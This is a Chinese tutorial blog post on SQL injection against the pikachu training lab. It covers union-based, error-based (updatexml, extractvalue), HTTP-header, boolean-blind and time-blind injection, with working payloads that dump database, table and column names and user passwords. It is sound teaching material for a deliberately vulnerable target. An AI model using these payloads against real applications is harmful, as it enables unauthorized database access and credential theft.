当前位置:   article > 正文

SQL注入-pikachu靶场_pikachu靶场sql

pikachu靶场sql

SQL注入概述

SQL注入指的是通过将恶意SQL语句添加到应用的输入参数中,传递到后台被SQL服务器解析后执行的攻击。

基础知识

information_schema

MYSQL更新到5.0后,默认在数据库中存放一个”information_schema“的数据库,记载了其他数据库的信息。
默认要记住三个表,SCHEMATATABLESCOLUMNS
SCHEMATA:(记录了该用户创建的所有数据库名)
在这里插入图片描述
TABLES:(记录了所有库名和表名)
在这里插入图片描述
COLUMNS:(记录了所有的库名,表名和字段名)
在这里插入图片描述
查询一个数据库信息的过程:

  • 找库名
select schema_name from information_schema.schemata;
  • 1

在这里插入图片描述

  • 找表名
select table_name from information_schema.tables where table_schema = 'pikachu';
  • 1

在这里插入图片描述

  • 找列名
select column_name from information_schema.columns where table_schema = 'pikachu' and table_name = 'users';
  • 1

在这里插入图片描述

  • 查询信息
    得到了数据库名,表名和列名后就可以查询到想要的信息
select username,password from pikachu.users;
  • 1

在这里插入图片描述

常用函数以及注释方式

database():当前网站使用是数据库
version():当前MYSQL的版本
user():当前的用户名称
  • 1
  • 2
  • 3

注释方式:
#(%23),–空格(–+)或者/**/

内联注释:
/*! code*/code内容可以执行

/*! union*/ /*! select*/ 1,2,3
  • 1

pikachu靶场

数字型注入

输入查询id后抓包
在这里插入图片描述
在这里插入图片描述
改变参数1 = 1 or 1
在这里插入图片描述
注入成功
在这里插入图片描述
后台查询语句为:

select username,email from xx where uid = 1 or 1 = 1
  • 1

字符型注入

在这里插入图片描述

后台查询语句为

select uid,email from xx where username = '1' or 1 = 1#'
  • 1

搜索型注入

在这里插入图片描述
后台查询语句:

select username.id,email from xx where username like '%k%' or 1=1#%'
  • 1

xx型注入

在这里插入图片描述
后台查询语句:

select id,email from xx where username = ('1') or 1=1#')
  • 1

union注入

1.使用order by来测试输入字段的个数
当输入1” order by 3时返回
在这里插入图片描述
则输出为两个字段

1' union select user(),database()# 获取用户名和数据库名
  • 1

在这里插入图片描述

lucy' union select 1,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)#
  • 1

得到第一个表名
在这里插入图片描述
改变limit输出的字段号可得到剩下的表名

lucy' union select 1,(select column_name from information_schema.columns where table_schema = 'pikachu' and table_name = 'users' limit 0,1)#
  • 1

得到了第一个列名
在这里插入图片描述
改变limit输出的字段号可得到剩下的表名

得到了表名,列名后可查询所需数据

lucy' union select (select username from pikachu.users limit 0,1),(select password from pikachu.users limit 0,1)#
  • 1

在这里插入图片描述

基于函数报错注入

常用函数:
updatexml(目标xml文档,xml路径,更新的内容):对xml文档进行更新的函数。
floor()
extractvalue(目标xml文档,xml路径):对xml文档进行查询的函数。

select/insert/update/delete都可以使用报错来获取信息

' and updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 1
' and extractvalue(1,concat(0x7e,database(),0x7e))#
  • 1

成功获得数据库名,同理可以得到表名,列名进而查询到数据
在这里插入图片描述

基于insert/update/delete的注入

insert: 在插入值value当中用两个or形成闭合 ‘’ or 报错函数 or ‘’。
payload:

' or updatexml(1,concat(0x7e,database()),0) or '
  • 1

结果
在这里插入图片描述
后台代码:

insert into xx (username,pw,sex) value ('' or updatexml(1,concat(0x7e,database()),1) or '','123456','boy');
  • 1

同理把payload替换为

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0) or '
  • 1

可获得第一张表名
在这里插入图片描述
update:
payload与insert相同,在修改字段后' or + 报错函数 + or '即可。

delete:
在页面删除留言后抓包,更改参数为payload.
在这里插入图片描述
返回界面中显示出数据库。
在这里插入图片描述

http header注入

后端为了验证客户端头信息,或者通过客户端http header获取客户端的一些信息如accept,useragent等等。获取信息后采用了SQL查询,即有可能存在SQL注入漏洞。

登录后页面显示:
在这里插入图片描述
抓包后修改user agent(猜测后台可能获取request信息后insert into数据库)
payload:

' or updatexml(1,concat(0x7e,database()),0) or '
  • 1

在这里插入图片描述
响应返回报错信息:
在这里插入图片描述
同理修改其他字段信息也可以返回错误信息进而获得数据库信息。

sql盲注

当页面采用了后台错误信息屏蔽后,无法通过错误提示注入,这时候的要采用盲注的方式。

based boolean

基于boolean的注入主要表现为输出只有yes or no两种情况。
payload:
kobe' and 1=1#正确输出结果
kobe' and 1=2#报错
可判断存在sql注入

kobe' and length(database()>7)#报错
kobe' and length(database()=7)#正常输出
在这里插入图片描述可得到数据库的长度为7

kobe' and substr(database(),1,1)='p'#正常输出
可得到数据库的第一个字符为’p’

以此类推得到表名和列名

based time

依靠页面响应的时间来判断真伪。
**if(语句1,语句2,语句3)
如果执行语句1返回结果为真,则执行语句2,否则执行语句3

payload:
kobe' and if(length(database())=7,sleep(5),null)#
假如数据库长度为7,则sleep 5s再返回,否则直接返回。
在这里插入图片描述
查看返回时间为5s,故可得到数据库长度为7,其他数据也可通过这种方式得到。

SQL暴力破解

常规情况下,测试者没有读取information_schema的权限,又或者使用的数据库不是mysql不会提供information_schema这种接口供查询。故采用暴力破解的方式。
爆破表名:

kobe' and exists(select * from 猜测的表名) 
  • 1

爆破列名:

kobe' and exists(select 猜测的列名 from user) 
  • 1

burpsuite抓包后选择猜测的字段为变量进行攻击。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/267526
推荐阅读
相关标签
  

闽ICP备14008679号